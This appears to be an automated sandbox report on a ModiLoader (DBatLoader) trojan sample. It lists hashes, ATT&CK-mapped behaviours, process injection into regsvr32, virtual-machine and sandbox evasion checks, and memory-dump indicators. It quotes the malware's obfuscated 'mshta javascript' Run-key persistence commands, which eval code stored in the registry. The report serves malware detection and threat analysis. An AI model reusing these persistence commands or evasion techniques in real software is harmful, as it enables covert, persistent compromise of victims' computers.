modiloader | 5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b

General

Target

5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
Size

603KB
MD5

0d0676faabe04d0dd85e5379ef246313
SHA1

261bad2856f0623a5a5d8f079170c4ff1d2547d7
SHA256

5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b
SHA512

94081ddd322928ee5a837eae60649093cffec9946c01698dafe4077051ff43829626d69360b8b1b772bf7a7b025498699d4f21a882a8608e084a436593e05fc1

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 11 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2000-56-0x0000000000400000-0x000000000049B000-memory.dmp	modiloader_stage2
behavioral1/memory/2000-57-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/2000-61-0x0000000000050000-0x000000000011C000-memory.dmp	modiloader_stage2
behavioral1/memory/324-63-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/324-65-0x0000000000090000-0x000000000015C000-memory.dmp	modiloader_stage2
behavioral1/memory/1904-68-0x0000000000170000-0x000000000023C000-memory.dmp	modiloader_stage2
behavioral1/memory/1248-72-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/1564-75-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/1564-76-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2
behavioral1/memory/1904-77-0x0000000000170000-0x000000000023C000-memory.dmp	modiloader_stage2
behavioral1/memory/1248-78-0x00000000000D0000-0x000000000019C000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:a1Jq2viIqK=\"2srez\";wS51=new%20ActiveXObject(\"WScript.Shell\");Mf9Uwt0x=\"UfckAnJWnI\";fDIX79=wS51.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c3c35a82a7\\\\1cb1de7a\");hbHH1Tl2e=\"qQP5bj\";eval(fDIX79);QQkW71vLGB=\"IF44R2\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1904 regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Qwu3zHBg=\"CkVLbJp\";Pt16=new%20ActiveXObject(\"WScript.Shell\");uMvQ3gED8=\"rt9GSUmnwp\";Nq2SI=Pt16.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c3c35a82a7\\\\1cb1de7a\");Mw9KXq1J=\"7SThCmuQL\";eval(Nq2SI);n5vhBsShf4=\"yGnXMhyd\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:MJY3zgZp=\"vAWC\";h3Q=new%20ActiveXObject(\"WScript.Shell\");TokPxI4r4=\"BEiQs\";jL2lk=h3Q.RegRead(\"HKCU\\\\software\\\\c3c35a82a7\\\\1cb1de7a\");XRv3VuI=\"xh\";eval(jL2lk);X8KtlSrG=\"s8ssuVML0J\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exeregsvr32.exeregsvr32.exe

pid	process
2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
324	regsvr32.exe
324	regsvr32.exe
324	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe
1904	regsvr32.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 2000 wrote to memory of 324	2000	5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 324 wrote to memory of 1904	324	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1248	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe
PID 1904 wrote to memory of 1564	1904	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe
"C:\Users\Admin\AppData\Local\Temp\5a7317430c3d973b9aff26401cf33b68fce667936b02d00c8d2bcef4ff7c1e1b.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:324

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1248

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1564

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

2

T1497

System Information Discovery

2

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/324-58-0x0000000000000000-mapping.dmp

Download
memory/324-65-0x0000000000090000-0x000000000015C000-memory.dmp

Filesize
816KB

Download
memory/324-63-0x0000000000090000-0x000000000015C000-memory.dmp

Filesize
816KB

Download
memory/324-62-0x0000000000FB0000-0x0000000000FB7000-memory.dmp

Filesize
28KB

Download
memory/1248-72-0x00000000000D0000-0x000000000019C000-memory.dmp

Filesize
816KB

Download
memory/1248-69-0x0000000000000000-mapping.dmp

Download
memory/1248-78-0x00000000000D0000-0x000000000019C000-memory.dmp

Filesize
816KB

Download
memory/1248-71-0x0000000000FB0000-0x0000000000FB7000-memory.dmp

Filesize
28KB

Download
memory/1564-75-0x00000000000D0000-0x000000000019C000-memory.dmp

Filesize
816KB

Download
memory/1564-73-0x0000000000000000-mapping.dmp

Download
memory/1564-76-0x00000000000D0000-0x000000000019C000-memory.dmp

Filesize
816KB

Download
memory/1904-64-0x0000000000000000-mapping.dmp

Download
memory/1904-67-0x0000000000FB0000-0x0000000000FB7000-memory.dmp

Filesize
28KB

Download
memory/1904-68-0x0000000000170000-0x000000000023C000-memory.dmp

Filesize
816KB

Download
memory/1904-77-0x0000000000170000-0x000000000023C000-memory.dmp

Filesize
816KB

Download
memory/2000-55-0x00000000020A0000-0x00000000021F0000-memory.dmp

Filesize
1.3MB

Download
memory/2000-56-0x0000000000400000-0x000000000049B000-memory.dmp

Filesize
620KB

Download
memory/2000-57-0x0000000000050000-0x000000000011C000-memory.dmp

Filesize
816KB

Download
memory/2000-54-0x0000000076191000-0x0000000076193000-memory.dmp

Filesize
8KB

Download
memory/2000-59-0x00000000020A0000-0x00000000021F0000-memory.dmp

Filesize
1.3MB

Download
memory/2000-61-0x0000000000050000-0x000000000011C000-memory.dmp

Filesize
816KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads